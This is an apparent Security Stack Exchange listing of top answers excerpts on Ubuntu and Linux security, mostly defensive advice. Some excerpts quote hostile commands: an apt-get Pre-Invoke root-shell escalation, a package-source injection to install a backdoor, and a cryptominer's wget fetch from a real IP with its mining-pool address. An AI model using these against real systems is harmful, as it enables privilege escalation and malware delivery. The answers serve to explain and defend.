83 votes
Accepted

Why has Ubuntu 18.04 moved back to insecure Xorg?

They are doing this because the next release is an LTS release, which means stability is the primary concern. Xorg has a good track record of stability, whereas Wayland is still (relatively) new. This ...
forest's user avatar
  • 66.7k
80 votes
Accepted

Why is disabling root necessary for security?

If you're not using Root, you're using sudo! Sudo is a great way to become root only when you need to. Root is a giant target. What's root's username? Root! I'm so smart :) Logging. Sudo has a ...
Ohnana's user avatar
  • 4,717
74 votes
Accepted

Aren't keyfiles defeating the purpose of encryption?

If decryption only relies on the keyfile and this keyfile is readily available, there is indeed no significant security benefit in your setup. What you can do though is store the keyfile on a ...
Demento's user avatar
  • 7,455
67 votes
Accepted

What are the potential vulnerabilities of allowing non-root users to run apt-get?

apt-get update -o APT::Update::Pre-Invoke::=/bin/sh From GTFOBins This gives you a root shell on the system. No creating packages and adding fake repos; this will give the user who runs this command ...
Cyclic3's user avatar
  • 845
64 votes

Should I close port 80 forever and ever since the 2018 Google-indicated web-security initiatives?

You should not close off port 80. Instead, you should configure your server to redirect HTTP port 80 to HTTPS port 443 in order to use TLS. You can optionally use HSTS (HTTP Strict Transport Security) ...
forest's user avatar
  • 66.7k
63 votes
Accepted

Should I close port 80 forever and ever since the 2018 Google-indicated web-security initiatives?

Google, the major search engine of the Internet (dwarfing both Bing and Yahoo), and the browser used by majority of Internet users, has been pushing for an HTTPS-only world by decreasing the page rank ...
phyrfox's user avatar
  • 5,734
53 votes

How is it possible for boss to know I am finding a job?

Your boss is likely making assumptions. They can't read your messages on LinkedIn (unless you have your inmails forwarded to your work email and your company is monitoring your inbox....unlikely) The ...
Josh Madrid's user avatar
46 votes

What are the potential vulnerabilities of allowing non-root users to run apt-get?

You say you're using a "custom curated apt repository" but there's no way to enforce that. Any user that can invoke apt can specify their own source list, for example apt install root-backdoor -o Dir::...
CBHacking's user avatar
  • 48.4k
44 votes
Accepted

Is this what a brute force SSH attack looks like?

Is this a bruteforce attack This looks like the background scanning that any server on the internet will experience. Should I be worried Not really, background scanning is completely normal, as long ...
jrtapsell's user avatar
  • 3,197
38 votes

Why is disabling root necessary for security?

The site you link to is very poor at explaining what they are getting you to do. The root account is not being disabled, but rather, the password for root is disabled. That's what passwd -l does. ...
schroeder's user avatar
  • 129k
38 votes
Accepted

Concerning GET request in logs

Can anyone help me determine if this is something I should be concerned about? Someone is trying to exploit a vulnerability on your server. References to cmd.exe, System.Net.WebClient and %SystemRoot%...
ThoriumBR's user avatar
  • 54k
37 votes
Accepted

Understanding suspicious HTTP GET Request

The reason it counts as "success" is because of the beginning: /?... This means the path the server cares about is /, which likely maps to the index of your web application. The query ...
The one who tests's user avatar
27 votes

Is a firewall enough of a security measure for an Ubuntu server that hosts a website?

Is a firewall enough of a security measure for an Ubuntu server that hosts a website? Given the technologies you want to use you want to create a dynamic database-backed website without having any ...
Steffen Ullrich's user avatar
26 votes

Why has Ubuntu 18.04 moved back to insecure Xorg?

@Forest's answer is helpful but I'd like to address the security perspective. While there is a security risk, it's likely considered an acceptable risk, and possibly a feature, as mentioned in @...
multithr3at3d's user avatar
22 votes

How to use FDE without needing to share the encryption password

It comes to this: You want to implement a DRM scheme. Many before you have tried, all of them failed. It is not possible to give something (hardware, data) to users and prevent them from using it in ...
Josef's user avatar
  • 5,973
20 votes
Accepted

How is it possible for boss to know I am finding a job?

Your employer is possibly using a service like "Keeper" from HiQ Labs, which can provide forward-looking attrition risk analysis based on LinkedIn data. Keeper analyses LinkedIn user data ...
bsod's user avatar
  • 316
19 votes
Accepted

How to use FDE without needing to share the encryption password

According to my previous answer, suggestion by @logneck and a bit of google-fu, I came to the conclusion that it is possible to implement the scheme requested in the question with available tools and ...
usr-local-ΕΨΗΕΛΩΝ's user avatar
18 votes
Accepted

How to read CVE - 2016 - 5696 correctly

Does the version next to pending refer to kernel version for which the fix is released? Yes- more precisely, the version next to "pending" refers to the version of the package within the ...
Jonah Benton's user avatar
  • 3,507
17 votes

Why is disabling root necessary for security?

It is an old Tradition from the days of the Mainframe. The idea is that root can do what he wants with the machine, including replacing the kernel or destroying the UEFI variables, which can brick the ...
Tom Leek's user avatar
  • 173k
16 votes
Accepted

Why can 'Others' read files by default in Ubuntu?

The permissions model of Linux means that, even if you are the only user of your computer, you're not the only user on the system. Many services will create their own user account to run under - for ...
timbstoke's user avatar
  • 276
12 votes
Accepted

Is a firewall enough of a security measure for an Ubuntu server that hosts a website?

A firewall is never enough, it is the bare minimum. Then having an IDS of some sort is desirable. For example if your SSH port is exposed you should block brute-force attacks, even if you have a ...
Kate's user avatar
  • 7,917
12 votes

Aren't keyfiles defeating the purpose of encryption?

While Demento's answer is fine, I'd also present another user case I'm personally using: I have full disk encryption set up — using LUKS on a Linux-based box, and the scheme is implemented as follows: ...
kostix's user avatar
  • 221
11 votes

Why should one bother encrypting the harddisk in linux if one can easily recover the root password?

If you have physical access to a machine, it's pretty straightforward to recover the root password thereby skipping the whole point of having an encrypted drive. You might be mixing things up here. ...
Mark Buffalo's user avatar
  • 22.6k
11 votes
Accepted

kworker34 malware on Linux

... /tmp/kworker34 ... -o stratum+tcp://185.154.52.74:80 ... Googling for stratum+tcp indicates that crypto-currency mining is going on. wget 91.235.143.237/miu.png -O /tmp/conn dd if=/tmp/conn ...
Steffen Ullrich's user avatar
10 votes

What are the potential vulnerabilities of allowing non-root users to run apt-get?

Would preventing users from specifying their own sourcelists (e.g. by making a wrapper that specifically calls apt-get install -- <packages> with root privileges) be sufficient to prevent users ...
Arminius's user avatar
  • 44.7k
9 votes
Accepted

Clamav identifies Certbot files as infected

It's almost certainly a false positive if you've installed the snap from a reputable (e.g. the official snap outlet by Canonical). Furthermore, it's Windows executables and Windows malware - which ...
vidarlo's user avatar
  • 16.1k
8 votes
Accepted

Is Ubuntu Guest Session safer than Ubuntu Live CD for examining malicious USB drives?

In summary: guest account does not offer lots of protection. Use a read-only or throw away system instead (i.e. Live CD or Live USB) but even this does not offer full protection. In detail: ...
Steffen Ullrich's user avatar
8 votes
Accepted

What is this SSH attack, am I hacked?

From your logs, there are no break ins. It shows a lot of connection attempts, but no authentication successes. And the IP 128.199.139.46 connected but timed out before finishing the authentication. ...
ThoriumBR's user avatar
  • 54k
7 votes
Accepted

How to protect my server from continous login attempts (Ubuntu)

Use key-based authentication for SSH instead of password authentication Change your SSHd port to something other than 22 . This is security through obscurity but is probably justifiable in this case. ...
Neil McGuigan's user avatar

Only top scored, non community-wiki answers of a minimum length are eligible